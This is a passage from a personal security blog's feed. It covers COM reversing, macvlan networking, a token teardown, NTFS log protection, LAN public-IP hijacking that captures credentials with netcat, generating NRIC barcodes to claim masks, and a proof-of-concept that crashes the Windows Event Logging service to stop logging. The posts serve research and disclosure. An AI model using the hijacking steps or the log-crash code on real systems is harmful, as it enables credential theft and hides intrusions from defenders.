<span class="kt">int</span><span class="w"> </span><span class="nf">_tmain</span><span class="p">(</span><span class="kt">int</span><span class="w"> </span><span class="n">argc</span><span class="p">,</span><span class="w"> </span><span class="n">_TCHAR</span><span class="o">*</span><span class="w"> </span><span class="n">argv</span><span class="p">[])</span>
<span class="p">{</span>
<span class="w"> </span><span class="n">HRESULT</span><span class="w"> </span><span class="n">hr</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">CoInitializeEx</span><span class="p">(</span><span class="nb">NULL</span><span class="p">,</span><span class="w"> </span><span class="n">COINIT_APARTMENTTHREADED</span><span class="p">);</span>
<span class="w"> </span><span class="n">IUnKnownClass</span><span class="o">*</span><span class="w"> </span><span class="n">cl</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="nb">NULL</span><span class="p">;</span>
<span class="w"> </span><span class="n">hr</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">CoCreateInstance</span><span class="p">(</span><span class="n">CLSID_SERVER</span><span class="p">,</span><span class="w"> </span><span class="nb">NULL</span><span class="p">,</span><span class="w"> </span><span class="n">CLSCTX_INPROC_SERVER</span><span class="p">,</span><span class="w"> </span><span class="n">IID_IUnknown</span><span class="p">,</span><span class="w"> </span><span class="p">(</span><span class="kt">void</span><span class="o">**</span><span class="p">)</span><span class="o">&</span><span class="n">cl</span><span class="w"> </span><span class="p">);</span>
<span class="w"> </span><span class="k">if</span><span class="w"> </span><span class="p">(</span><span class="n">SUCCEEDED</span><span class="p">(</span><span class="n">hr</span><span class="p">))</span><span class="w"> </span><span class="p">{</span>
<span class="w"> </span><span class="n">cl</span><span class="o">-></span><span class="n">func1</span><span class="p">(</span><span class="mi">5370220704</span><span class="p">);</span>
<span class="w"> </span><span class="n">cl</span><span class="o">-></span><span class="n">func2</span><span class="p">(</span><span class="mi">205</span><span class="p">);</span>
<span class="w"> </span><span class="n">cl</span><span class="o">-></span><span class="n">func3</span><span class="p">();</span>
<span class="w"> </span><span class="p">}</span>
<span class="w"> </span><span class="n">cl</span><span class="o">-></span><span class="n">Release</span><span class="p">();</span>
<span class="w"> </span><span class="n">CoFreeUnusedLibraries</span><span class="p">();</span>
<span class="w"> </span><span class="k">return</span><span class="w"> </span><span class="mi">0</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div></td></tr></table></div>
<p>After loading the COM object successfully, we can now step through it in the Visual Studio debugger. We see that the vtable contains 3 entries, these are actually functions exposed by the InprocServer object and information about the memory address where the function is located. In order to call these functions, we can just define our own IDL. I have created my own IDL with 3 functions named <code>func1</code>, <code>func2</code> and <code>func3</code>. The first function defined will automatically map to the first function in the vtable located at <code>0x7ffc389214b4</code>, the second defined function will map to the second function in the vtable and so on. </p>
<p><img alt="image" src="//limbenjamin.com/media/com.png"></p>
<p>We will then have to debug the binary in a debugger like x64dbg or windbg, breakpoint at the first instruction of the function, <code>0x7ffc389214b4</code> in the example, and slowly step through the instructions. If the function expects an argument, we will likely encounter an access violation. We will then have to figure out what type of argument it expects. If the access violation occurs because it is unable to write to the memory address, the function may be expecting an argument containing address of writable memory space. In the example above, I added <code>const uint64_t y</code> to the IDL for <code>func1</code> and passed in the address of writable memory. You could also initialise a buffer and pass in the address of the buffer, <code>char* buffer = new char[100]; func1(&buffer);</code> After re-running the program, we can finally see what the function is trying to write out. </p>macvlan host guest connectivity2020-10-08T08:25:00+08:002020-10-08T08:25:00+08:00Benjamin Limtag:limbenjamin.com,2020-10-08:/articles/macvlan-host-guest-connectivity.html<p>There are a number of sites out there mentioning that macvlan has a limitation when used with docker or lxc containers. The host machine will not be able to communicate with the guest machine and vice versa. While this is true by default, there is a tweak that you can …</p><p>There are a number of sites out there mentioning that macvlan has a limitation when used with docker or lxc containers. The host machine will not be able to communicate with the guest machine and vice versa. While this is true by default, there is a tweak that you can perform to make host guest connectivity possible. I found out about this through a <a href="http://noyaudolive.net/2012/05/09/lxc-and-macvlan-host-to-guest-connection/">2012 blog post</a> which is no longer around. It has worked for me all the way up till Ubuntu 20.04 where some further steps are needed.</p>
<div class="highlight"><table class="highlighttable"><tr><td class="linenos"><div class="linenodiv"><pre><span class="normal"> 1</span>
<span class="normal"> 2</span>
<span class="normal"> 3</span>
<span class="normal"> 4</span>
<span class="normal"> 5</span>
<span class="normal"> 6</span>
<span class="normal"> 7</span>
<span class="normal"> 8</span>
<span class="normal"> 9</span>
<span class="normal">10</span>
<span class="normal">11</span>
<span class="normal">12</span>
<span class="normal">13</span>
<span class="normal">14</span>
<span class="normal">15</span>
<span class="normal">16</span>
<span class="normal">17</span>
<span class="normal">18</span>
<span class="normal">19</span>
<span class="normal">20</span></pre></div></td><td class="code"><div><pre><span></span><code># cat /etc/network/interfaces
auto lo
iface lo inet loopback
auto eth0
iface eth0 inet static
address 192.168.0.123 # static IP of your host machine
netmask 255.255.255.0
gateway 192.168.0.1 # IP of gateway
dns-nameservers 8.8.8.8 8.8.4.4
auto macvlan0
iface macvlan0 inet dhcp
# as eth0 and macvlan0 are on the same LAN, we must drop default route and LAN route
# from eth0 configuration to avoid conflicts (this just slooooow down things).
pre-up route del default # pre-up executes these commands before bringing up the macvlan0 interface
# NOTE: adapt this line to your LAN address and netmask
pre-up route del -net 192.168.0.0 netmask 255.255.255.0
pre-up ip link add link eth0 name macvlan0 type macvlan mode bridge
</code></pre></div></td></tr></table></div>
<p>What this achieves is to give a static IP address to <code>eth0</code> on the host machine, so that it is easily accessible by other machines. As <code>eth0</code> is unable to communicate with the guest machine, we get pass this known limitation by deleting all routes through <code>eth0</code> then setup <code>macvlan0</code> interface and route all egress traffic through <code>macvlan0</code>. Since your host machine traffic is now routed through <code>macvlan0</code>, we can now communicate with the guest machine. Do note that all egress traffic from the host machine will now appear to originate from the DHCP IP, 192.168.0.55 in the example, and not the static IP. This does not stop me from hosting services on the host machine, I can SSH to the static IP just fine.</p>
<div class="highlight"><table class="highlighttable"><tr><td class="linenos"><div class="linenodiv"><pre><span class="normal"> 1</span>
<span class="normal"> 2</span>
<span class="normal"> 3</span>
<span class="normal"> 4</span>
<span class="normal"> 5</span>
<span class="normal"> 6</span>
<span class="normal"> 7</span>
<span class="normal"> 8</span>
<span class="normal"> 9</span>
<span class="normal">10</span>
<span class="normal">11</span>
<span class="normal">12</span>
<span class="normal">13</span>
<span class="normal">14</span>
<span class="normal">15</span>
<span class="normal">16</span></pre></div></td><td class="code"><div><pre><span></span><code># ifconfig
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
inet 192.168.0.123 netmask 255.255.255.0 broadcast 192.168.0.255
inet6 fe80::0 prefixlen 64 scopeid 0x20<link>
ether de:ad:be:ef:ca:fe txqueuelen 1000 (Ethernet)
macvlan0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
inet 192.168.0.55 netmask 255.255.255.0 broadcast 192.168.0.255
inet6 fe80::0 prefixlen 64 scopeid 0x20<link>
ether de:ad:be:ef:ca:ff txqueuelen 1000 (Ethernet)
# route
Kernel IP routing table
Destination Gateway Genmask Flags Metric Ref Use Iface
default 192.168.0.1 0.0.0.0 UG 203 0 0 macvlan0
192.168.0.0 0.0.0.0 255.255.255.0 U 203 0 0 macvlan0
</code></pre></div></td></tr></table></div>
<p>For Ubuntu 20.04, I have found that the <code>eth0</code> route will still be present. This is because <code>dhcpcd</code> will automatically add the <code>eth0</code> route at regular intervals. To get around this, I added an additional line to set the eth0 route <code>metric</code> to 400 for the 2 files listed below. This means that the <code>macvlan0</code> route will be prioritised over the <code>eth0</code> route and connectivity is restored. It would also be prudent to try disabling/enabling <code>dhcpcd</code> to see the effect. I have found that allowing <code>dhcpcd</code> to run may result in multiple DHCP IPs to be requested by the <code>macvlan0</code> interface.</p>
<div class="highlight"><table class="highlighttable"><tr><td class="linenos"><div class="linenodiv"><pre><span class="normal"> 1</span>
<span class="normal"> 2</span>
<span class="normal"> 3</span>
<span class="normal"> 4</span>
<span class="normal"> 5</span>
<span class="normal"> 6</span>
<span class="normal"> 7</span>
<span class="normal"> 8</span>
<span class="normal"> 9</span>
<span class="normal">10</span>
<span class="normal">11</span>
<span class="normal">12</span>
<span class="normal">13</span>
<span class="normal">14</span>
<span class="normal">15</span>
<span class="normal">16</span>
<span class="normal">17</span>
<span class="normal">18</span>
<span class="normal">19</span>
<span class="normal">20</span>
<span class="normal">21</span>
<span class="normal">22</span>
<span class="normal">23</span>
<span class="normal">24</span>
<span class="normal">25</span></pre></div></td><td class="code"><div><pre><span></span><code># cat /etc/dhcpcd.conf
interface eth0
static ip_address=192.168.0.123/24
static routers=192.168.0.1
static domain_name_servers=8.8.8.8 8.8.4.4
metric 400 # Add this line for Ubuntu 20.04
# cat /etc/network/interfaces
...
iface eth0 inet static
address 192.168.0.123 # static IP of your host machine
netmask 255.255.255.0
gateway 192.168.0.1 # IP of gateway
dns-nameservers 8.8.8.8 8.8.4.4
metric 400 # May have to add this for Ubuntu 20.04
...
# service dhcpcd restart
# route
Kernel IP routing table
Destination Gateway Genmask Flags Metric Ref Use Iface
default 192.168.0.1 0.0.0.0 UG 203 0 0 macvlan0
default 192.168.0.1 0.0.0.0 UG 400 0 0 eth0
192.168.0.0 0.0.0.0 255.255.255.0 U 203 0 0 macvlan0
192.168.0.0 0.0.0.0 255.255.255.0 U 400 0 0 eth0
</code></pre></div></td></tr></table></div>
<p>If you are using LXC containers, the following profile should work. You can configure the <code>eth0</code> interface on the guest to either use a static IP or DHCP as per normal.</p>
<div class="highlight"><table class="highlighttable"><tr><td class="linenos"><div class="linenodiv"><pre><span class="normal">1</span>
<span class="normal">2</span>
<span class="normal">3</span>
<span class="normal">4</span>
<span class="normal">5</span>
<span class="normal">6</span>
<span class="normal">7</span>
<span class="normal">8</span>
<span class="normal">9</span></pre></div></td><td class="code"><div><pre><span></span><code># lxc profile show default
config: {}
description: Default LXD profile
devices:
eth0:
nictype: macvlan
parent: eth0
type: nic
...
</code></pre></div></td></tr></table></div>Bank Token Teardown2020-08-04T07:18:00+08:002020-08-04T07:18:00+08:00Benjamin Limtag:limbenjamin.com,2020-08-04:/articles/bank-token-teardown.html<p>My hardware token ran out of battery recently. Before throwing it out, I opened it up to remove the battery so I can dispose of it separately. I decided to take the opportunity to sneak a quick peek into the insides of the token.</p>
<p><img alt="image" src="//limbenjamin.com/media/token_f.jpg"></p>
<p>The model number etched on the …</p><p>My hardware token ran out of battery recently. Before throwing it out, I opened it up to remove the battery so I can dispose of it separately. I decided to take the opportunity to sneak a quick peek into the insides of the token.</p>
<p><img alt="image" src="//limbenjamin.com/media/token_f.jpg"></p>
<p>The model number etched on the circuit board indicates that it is Vasco DigiPass 270 Rev 4.3 and it is powered by a CR2016 battery. After some tracing, we can see that almost all traces lead to the secure element which is covered with black epoxy resin, possibly to deter reverse engineering. The secure element handles the input from the keypad, performs the calculations and outputs the results on the LCD screen. The token is a time based OTP as evidenced from the presence of the quartz crystal.</p>
<p><img alt="image" src="//limbenjamin.com/media/token_a.jpg"></p>
<p>Also of interest is the positioning of those tiny holes on the orange plastic backing. They correspond perfectly with the position of the testpads which I believe are for programming the device and for providing power. It gives a clue into the manufacturing process. The circuit board is probably already affixed onto the plastic backing at the time of programming and probes are inserted through those tiny holes to program the device.</p>
<p>Fascinating indeed.</p>NTFS Owner Rights for Logging2020-07-05T19:47:00+08:002020-07-05T19:47:00+08:00Benjamin Limtag:limbenjamin.com,2020-07-05:/articles/ntfs-owner-rights-sec-principal-logging.html<p>I recently stumbled across the NTFS <code>Owner Rights</code> security principal. This is an obscure security principal that is used to restrict the rights that the owner of the file has. This can come in handy when hardening endpoints in corporate environments. Frequently, we encounter software that has to be run …</p><p>I recently stumbled across the NTFS <code>Owner Rights</code> security principal. This is an obscure security principal that is used to restrict the rights that the owner of the file has. This can come in handy when hardening endpoints in corporate environments. Frequently, we encounter software that has to be run in the context of a user. However, we might not want the user to tamper with the logs generated by the software. So how do we prevent that?</p>
<p>One method is to use the NTFS <code>Owner Rights</code> security principal to restrict the user from modifying, renaming or deleting files in the log folder. Using administrative privilege, we will first need to disable all permissions inherited from parent folders. Then, we remove the <code>Creator Owner</code> and the <code>User</code> principal from the folder. Finally we add the <code>Owner Rights</code> principal to the folder and give it the following permissions.</p>
<p><img alt="image" src="//limbenjamin.com/media/ownerrights.png"></p>
<p>If performed correctly, we should see the following output when running <code>icacls</code> on the folder. We can then copy files into the folder. These files will be immutable and we will not be able to rename or delete them. We will also not be able to grant ourselves permissions on these files. Perfect for logging integrity! If you are following along, take note that I <strong>copied</strong> the files. Moving the files will give a different result. That is because a file will retain its original permissions if it is moved to a destination on the same NTFS partition. </p>
<div class="highlight"><table class="highlighttable"><tr><td class="linenos"><div class="linenodiv"><pre><span class="normal"> 1</span>
<span class="normal"> 2</span>
<span class="normal"> 3</span>
<span class="normal"> 4</span>
<span class="normal"> 5</span>
<span class="normal"> 6</span>
<span class="normal"> 7</span>
<span class="normal"> 8</span>
<span class="normal"> 9</span>
<span class="normal">10</span>
<span class="normal">11</span>
<span class="normal">12</span>
<span class="normal">13</span>
<span class="normal">14</span>
<span class="normal">15</span>
<span class="normal">16</span>
<span class="normal">17</span>
<span class="normal">18</span></pre></div></td><td class="code"><div><pre><span></span><code><span class="go">C:\ProgramData\LoggerSoftware\logs>icacls C:\programdata\LoggerSoftware\logs</span>
<span class="go">C:\programdata\LoggerSoftware\logs OWNER RIGHTS:(OI)(CI)(RX,WD)</span>
<span class="go"> NT AUTHORITY\SYSTEM:(OI)(CI)(F)</span>
<span class="go"> BUILTIN\Administrators:(OI)(CI)(F)</span>
<span class="go">Successfully processed 1 files; Failed processing 0 files</span>
<span class="go">C:\ProgramData\LoggerSoftware\logs>copy C:\Users\limbenjamin\Desktop\output.log .</span>
<span class="go"> 1 file(s) copied.</span>
<span class="go">C:\ProgramData\LoggerSoftware\logs>del output.log</span>
<span class="go">C:\ProgramData\LoggerSoftware\logs\output.log</span>
<span class="go">Access is denied.</span>
<span class="go">C:\ProgramData\LoggerSoftware\logs>ren output.log output1.log</span>
<span class="go">Access is denied.</span>
<span class="go">C:\ProgramData\LoggerSoftware\logs></span>
</code></pre></div></td></tr></table></div>
<p>Also, do make sure to protect the parent directory as well. We do not want the user moving the entire parent directory and creating a new one with default permissions in its place.</p>
<div class="highlight"><table class="highlighttable"><tr><td class="linenos"><div class="linenodiv"><pre><span class="normal">1</span>
<span class="normal">2</span>
<span class="normal">3</span>
<span class="normal">4</span>
<span class="normal">5</span>
<span class="normal">6</span></pre></div></td><td class="code"><div><pre><span></span><code><span class="go">C:\ProgramData>move LoggerSoftware LoggerSoftwareOld</span>
<span class="go"> 1 dir(s) moved.</span>
<span class="go">C:\ProgramData>mkdir LoggerSoftware</span>
<span class="go">C:\ProgramData></span>
</code></pre></div></td></tr></table></div>Public IP Hijacking over LAN2020-06-20T17:32:00+08:002020-06-20T17:32:00+08:00Benjamin Limtag:limbenjamin.com,2020-06-20:/articles/public-ip-hijacking-over-lan.html<p>This is a topic that is not commonly discussed. Most articles about IP hijacking deal with the subject at the ISP level, i.e. hijacking of BGP protocol. However, IP hijacking can be performed on the LAN as well. It is possible to use static routes at the gateway to …</p><p>This is a topic that is not commonly discussed. Most articles about IP hijacking deal with the subject at the ISP level, i.e. hijacking of BGP protocol. However, IP hijacking can be performed on the LAN as well. It is possible to use static routes at the gateway to route a public IP address to an internal IP address. Any machines on the local LAN visiting that public IP over an unsecure protocol where certificates are not verified, e.g. HTTP/FTP/TELNET, could have their credentials captured.</p>
<p>Most routers support adding static routes through a GUI. In the example below, I have added a static route to route all traffic to 1.2.3.4 through 192.168.1.249 with a metric of 2. A lower metric indicates a shorter route and will be preferred by the router over the default route.</p>
<p><img alt="image" src="//limbenjamin.com/media/staticroute.png"></p>
<p>For network admins out there more familiar with the CLI, the routing table will look like this.</p>
<div class="highlight"><table class="highlighttable"><tr><td class="linenos"><div class="linenodiv"><pre><span class="normal">1</span>
<span class="normal">2</span>
<span class="normal">3</span>
<span class="normal">4</span>
<span class="normal">5</span></pre></div></td><td class="code"><div><pre><span></span><code>Destination Gateway Genmask Flags Metric Ref Use Type Iface
1.2.3.4 192.168.1.249 255.255.255.255 UGH 3 0 0 LAN br0
115.66.95.254 * 255.255.255.255 UH 0 0 0 WAN0 vlan10
192.168.1.0 * 255.255.255.0 U 0 0 0 LAN br0
default 115.66.95.254 0.0.0.0 UG 0 0 0 WAN0 vlan10
</code></pre></div></td></tr></table></div>
<p>To complete the charade we add 1.2.3.4 as a second IP on the same interface of the 192.168.1.249 machine. This ensures that the machine will respond to any ingress packets with destination 1.2.3.4.</p>
<div class="highlight"><table class="highlighttable"><tr><td class="linenos"><div class="linenodiv"><pre><span class="normal"> 1</span>
<span class="normal"> 2</span>
<span class="normal"> 3</span>
<span class="normal"> 4</span>
<span class="normal"> 5</span>
<span class="normal"> 6</span>
<span class="normal"> 7</span>
<span class="normal"> 8</span>
<span class="normal"> 9</span>
<span class="normal">10</span>
<span class="normal">11</span>
<span class="normal">12</span>
<span class="normal">13</span>
<span class="normal">14</span>
<span class="normal">15</span>
<span class="normal">16</span></pre></div></td><td class="code"><div><pre><span></span><code><span class="gp">$ </span>ip<span class="w"> </span>address<span class="w"> </span>add<span class="w"> </span><span class="m">1</span>.2.3.4/32<span class="w"> </span>dev<span class="w"> </span>enp2s0
<span class="gp">$ </span>ip<span class="w"> </span>addr
<span class="go">1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000</span>
<span class="go"> link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00</span>
<span class="go"> inet 127.0.0.1/8 scope host lo</span>
<span class="go"> valid_lft forever preferred_lft forever</span>
<span class="go"> inet6 ::1/128 scope host</span>
<span class="go"> valid_lft forever preferred_lft forever</span>
<span class="go">2: enp2s0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UP group default qlen 1000</span>
<span class="go"> link/ether de:ad:be:ef:ca:fe brd ff:ff:ff:ff:ff:ff</span>
<span class="go"> inet 192.168.1.249/24 brd 192.168.1.255 scope global enp2s0</span>
<span class="go"> valid_lft forever preferred_lft forever</span>
<span class="go"> inet 1.2.3.4/32 scope global enp2s0</span>
<span class="go"> valid_lft forever preferred_lft forever</span>
<span class="go"> inet6 fe80::1357:2468:abcd:dcba/64 scope link</span>
<span class="go"> valid_lft forever preferred_lft forever</span>
</code></pre></div></td></tr></table></div>
<p>Using tracert, we verify that the static route has taken precedence and we have managed to hijack 1.2.3.4. </p>
<div class="highlight"><table class="highlighttable"><tr><td class="linenos"><div class="linenodiv"><pre><span class="normal">1</span>
<span class="normal">2</span>
<span class="normal">3</span>
<span class="normal">4</span>
<span class="normal">5</span>
<span class="normal">6</span>
<span class="normal">7</span>
<span class="normal">8</span>
<span class="normal">9</span></pre></div></td><td class="code"><div><pre><span></span><code><span class="gp">C:\Users\Benjamin></span>tracert 1.2.3.4
<span class="go">Tracing route to 1.2.3.4</span>
<span class="go">over a maximum of 30 hops:</span>
<span class="go"> 1 <1 ms <1 ms <1 ms 192.168.1.1</span>
<span class="go"> 2 <1 ms <1 ms <1 ms 1.2.3.4</span>
<span class="go">Trace complete.</span>
</code></pre></div></td></tr></table></div>
<p>With netcat listening on port 80, we managed to capture HTTP Basic Authentication credentials.</p>
<div class="highlight"><table class="highlighttable"><tr><td class="linenos"><div class="linenodiv"><pre><span class="normal"> 1</span>
<span class="normal"> 2</span>
<span class="normal"> 3</span>
<span class="normal"> 4</span>
<span class="normal"> 5</span>
<span class="normal"> 6</span>
<span class="normal"> 7</span>
<span class="normal"> 8</span>
<span class="normal"> 9</span>
<span class="normal">10</span>
<span class="normal">11</span>
<span class="normal">12</span>
<span class="normal">13</span>
<span class="normal">14</span>
<span class="normal">15</span></pre></div></td><td class="code"><div><pre><span></span><code># Client
C:\Users\Benjamin>curl http://user:pass@1.2.3.4
# Server
$ nc -lvp 80
Listening on [0.0.0.0] (family 0, port 80)
Connection from 192.168.1.10 6429 received!
GET / HTTP/1.1
Host: 69.26.177.58:80
Authorization: Basic dXNlcjpwYXNz
User-Agent: curl/7.55.1
Accept: */*
$ echo dXNlcjpwYXNz | base64 -d
user:pass
</code></pre></div></td></tr></table></div>Authenticating with NRIC numbers v22020-05-24T19:59:00+08:002020-05-24T19:59:00+08:00Benjamin Limtag:limbenjamin.com,2020-05-24:/articles/authenticating-with-nric-numbers-v2.html<p>4 years ago, I wrote about <a href="https://limbenjamin.com/articles/authenticating-with-nric-numbers.html">why we should not use NRIC numbers for authentication</a>. Unfortunately, this mistake was repeated and it can be exploited today to claim free masks from the government. </p>
<p>This <a href="https://www.youtube.com/watch?v=1ZPLy2FvrIg">video</a> shows the exact process to claim one free mask per NRIC. Unfortunately, there is no …</p><p>4 years ago, I wrote about <a href="https://limbenjamin.com/articles/authenticating-with-nric-numbers.html">why we should not use NRIC numbers for authentication</a>. Unfortunately, this mistake was repeated and it can be exploited today to claim free masks from the government. </p>
<p>This <a href="https://www.youtube.com/watch?v=1ZPLy2FvrIg">video</a> shows the exact process to claim one free mask per NRIC. Unfortunately, there is no 2FA. The claimant does not have to enter date of birth or any other particulars to verify his identify, he just needs to scan his NRIC. The NRIC uses the Code 39 barcode specification and the checksum algorithm is public so anyone can generate loads of them. As proof, I have generated the first 16 NRICs starting with S900000XX. </p>
<div class="admonition danger">
<p class="admonition-title">Disclaimer</p>
<p>This post is for educational purposes only. As proven, the same mistakes are made time and again, education is necessary. Please do not use this method to fradulently claim masks, I am not responsible for any actions taken against you.</p>
</div>
<p><img alt="nric barcodes" src="//limbenjamin.com/media/nric_barcodes.png"></p>
<p>Update:</p>
<p>Apparently, it has now become a trend. </p>
<p><img alt="nric barcodes" src="//limbenjamin.com/media/free_masks_police.png"></p>Intelligence-led Red Teaming2020-05-07T22:46:00+08:002020-05-07T22:46:00+08:00Benjamin Limtag:limbenjamin.com,2020-05-07:/articles/intelligence-led-red-teaming.html<p>When conducting Red Team attacks, I believe it is important to use an intelligence-led approach when doing scenario planning. This is sometimes also known as threat actor emulation. Such an approach involves doing prior background research on the threat actors targeting that specific industry, choosing a threat actor to emulate …</p><p>When conducting Red Team attacks, I believe it is important to use an intelligence-led approach when doing scenario planning. This is sometimes also known as threat actor emulation. Such an approach involves doing prior background research on the threat actors targeting that specific industry, choosing a threat actor to emulate, studying the TTPs used by the actor, and finally emulating the actor as closely as possible when performing the attack. This results in an attack that is realistic and is likely to closely match what the organization faces on a day to day basis, thus allowing for an accurate assessment of the detection, containment and remediation capability of the blue team.</p>
<p>The opposite of this approach is threat actor simulation, where a red team simply simulates an adversary without doing prior background research. The red team will be free to use any TTPs desired. The issue with this approach is that the red team will have a tendency to use the most sophisticated techniques available, i.e. fileless malware, memory injection, so as to avoid detection. Upon completion of the exercise, the blue team will then be tasked to focus efforts on detecting these sophisticated techniques. In reality, the threat actors targeting that industry may not be as sophisticated and the techniques they use may end up flying under the radar because the blue team has been so focused on these sophisticated techniques. Not every industry is targeted by state sponsored attackers. Without adequate background research, you may end up preparing for the wrong attack.</p>
<p>It may seem cool for Red Teamers to pick locks, clone access cards or social engineer security guards to gain entry into buildings. However, if we do <a href="https://www.todayonline.com/singapore/lookback-past-bank-robberies-rarity-singapore">background research</a> on physical attacks targeting say the financial industry in Singapore, we would realise that none of the bank robbers in the past 20 years has picked a lock, cloned a card or social engineered anyone. They simply walk into the bank with a weapon or claim that they have one. These sophisticated attacks are as unrealistic as James Bond rappelling down from a helicopter straight into a bank vault with motion detecting sensors. </p>Crash Windows Event Logging Service2020-03-22T17:33:00+08:002020-03-22T17:33:00+08:00Benjamin Limtag:limbenjamin.com,2020-03-22:/articles/crash-windows-event-logging-service.html<p>While trying to write an undetectable event log cleaner, I delved into the NTAPIs to try to prevent Event ID 1102 from being created. In the process, I stumbled upon a way to crash the Windows Event Logging service. This is interesting because crashing the logging service would mean that …</p><p>While trying to write an undetectable event log cleaner, I delved into the NTAPIs to try to prevent Event ID 1102 from being created. In the process, I stumbled upon a way to crash the Windows Event Logging service. This is interesting because crashing the logging service would mean that further adversary actions will not be logged. Hence, this would come in useful for a red team exercise. I am aware of <a href="https://artofpwn.com/phant0m-killing-windows-event-log.html">Phant0m</a>, which kills threads belonging to Windows Event Logging service to achieve the same effect. It is an excellent technique and is probably stealthier than this, however it does use <code>OpenThread</code> and <code>TerminateThread</code> which might seem suspicious when executed on <code>svchost.exe</code>. Nevertheless, it doesn't hurt to have more than 1 method. Hence, I am publishing this write up.</p>
<p>Windows Event Logging service will crash with an Access Violation when advapi32.dll!ElfClearEventLogFileW is called with a handle obtained from advapi32.dll!OpenEventLogA. By default, The service is restarted after the first and second failure only. Hence an adversary can crash the service 3 times after which he is able to execute further malicious commands without being logged. The fail count will be reset after 1 day by default.</p>
<p>POC code has been uploaded to <a href="https://github.com/limbenjamin/LogServiceCrash">github</a>. MSRC's response is that this case does not meet the bar for servicing in a security update because this vulnerability requires administrator privileges to execute, meaning this exploit does not cross a security boundary. </p>
<div class="highlight"><table class="highlighttable"><tr><td class="linenos"><div class="linenodiv"><pre><span class="normal"> 1</span>
<span class="normal"> 2</span>
<span class="normal"> 3</span>
<span class="normal"> 4</span>
<span class="normal"> 5</span>
<span class="normal"> 6</span>
<span class="normal"> 7</span>
<span class="normal"> 8</span>
<span class="normal"> 9</span>
<span class="normal">10</span>
<span class="normal">11</span>
<span class="normal">12</span>
<span class="normal">13</span>
<span class="normal">14</span>
<span class="normal">15</span>
<span class="normal">16</span>
<span class="normal">17</span>
<span class="normal">18</span>
<span class="normal">19</span>
<span class="normal">20</span>
<span class="normal">21</span>
<span class="normal">22</span>
<span class="normal">23</span>
<span class="normal">24</span>
<span class="normal">25</span>
<span class="normal">26</span>
<span class="normal">27</span></pre></div></td><td class="code"><div><pre><span></span><code><span class="cp">#include</span><span class="w"> </span><span class="cpf">"stdafx.h"</span>
<span class="cp">#include</span><span class="w"> </span><span class="cpf"><windows.h></span>
<span class="cp">#include</span><span class="w"> </span><span class="cpf"><stdio.h></span>
<span class="cp">#include</span><span class="w"> </span><span class="cpf"><winbase.h></span>
<span class="k">typedef</span><span class="w"> </span><span class="n">LONG</span><span class="w"> </span><span class="n">NTSTATUS</span><span class="p">;</span>
<span class="kt">char</span><span class="o">*</span><span class="w"> </span><span class="n">VERSION_NO</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="s">"1.0"</span><span class="p">;</span>
<span class="kt">int</span><span class="w"> </span><span class="nf">main</span><span class="p">()</span>
<span class="p">{</span>
<span class="w"> </span><span class="n">HANDLE</span><span class="w"> </span><span class="n">eventlog</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="nb">NULL</span><span class="p">;</span>
<span class="w"> </span><span class="n">eventlog</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">OpenEventLogA</span><span class="p">(</span><span class="nb">NULL</span><span class="p">,</span><span class="w"> </span><span class="s">"Security"</span><span class="p">);</span>
<span class="w"> </span><span class="n">ElfClearEventLogFileW</span><span class="p">(</span><span class="n">eventlog</span><span class="p">,</span><span class="w"> </span><span class="nb">NULL</span><span class="p">);</span>
<span class="w"> </span><span class="n">Sleep</span><span class="p">(</span><span class="mi">65000</span><span class="p">);</span>
<span class="w"> </span><span class="n">eventlog</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">OpenEventLogA</span><span class="p">(</span><span class="nb">NULL</span><span class="p">,</span><span class="w"> </span><span class="s">"Security"</span><span class="p">);</span>
<span class="w"> </span><span class="n">ElfClearEventLogFileW</span><span class="p">(</span><span class="n">eventlog</span><span class="p">,</span><span class="w"> </span><span class="nb">NULL</span><span class="p">);</span>
<span class="w"> </span><span class="n">Sleep</span><span class="p">(</span><span class="mi">125000</span><span class="p">);</span>
<span class="w"> </span><span class="n">eventlog</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">OpenEventLogA</span><span class="p">(</span><span class="nb">NULL</span><span class="p">,</span><span class="w"> </span><span class="s">"Security"</span><span class="p">);</span>
<span class="w"> </span><span class="n">ElfClearEventLogFileW</span><span class="p">(</span><span class="n">eventlog</span><span class="p">,</span><span class="w"> </span><span class="nb">NULL</span><span class="p">);</span>
<span class="w"> </span><span class="k">return</span><span class="w"> </span><span class="mi">0</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div></td></tr></table></div>
<p>The exact crash is caused by an OOB memory read. I don't think it is exploitable beyond denial of service.</p>
<div class="highlight"><table class="highlighttable"><tr><td class="linenos"><div class="linenodiv"><pre><span class="normal"> 1</span>
<span class="normal"> 2</span>
<span class="normal"> 3</span>
<span class="normal"> 4</span>
<span class="normal"> 5</span>
<span class="normal"> 6</span>
<span class="normal"> 7</span>
<span class="normal"> 8</span>
<span class="normal"> 9</span>
<span class="normal">10</span>
<span class="normal">11</span>
<span class="normal">12</span>
<span class="normal">13</span>
<span class="normal">14</span>
<span class="normal">15</span>
<span class="normal">16</span>
<span class="normal">17</span>
<span class="normal">18</span>
<span class="normal">19</span>
<span class="normal">20</span>
<span class="normal">21</span>
<span class="normal">22</span>
<span class="normal">23</span>
<span class="normal">24</span>
<span class="normal">25</span>
<span class="normal">26</span>
<span class="normal">27</span>
<span class="normal">28</span>
<span class="normal">29</span>
<span class="normal">30</span>
<span class="normal">31</span>
<span class="normal">32</span>
<span class="normal">33</span>
<span class="normal">34</span>
<span class="normal">35</span>
<span class="normal">36</span>
<span class="normal">37</span>
<span class="normal">38</span>
<span class="normal">39</span>
<span class="normal">40</span>
<span class="normal">41</span>
<span class="normal">42</span>
<span class="normal">43</span>
<span class="normal">44</span>
<span class="normal">45</span>
<span class="normal">46</span>
<span class="normal">47</span>
<span class="normal">48</span>
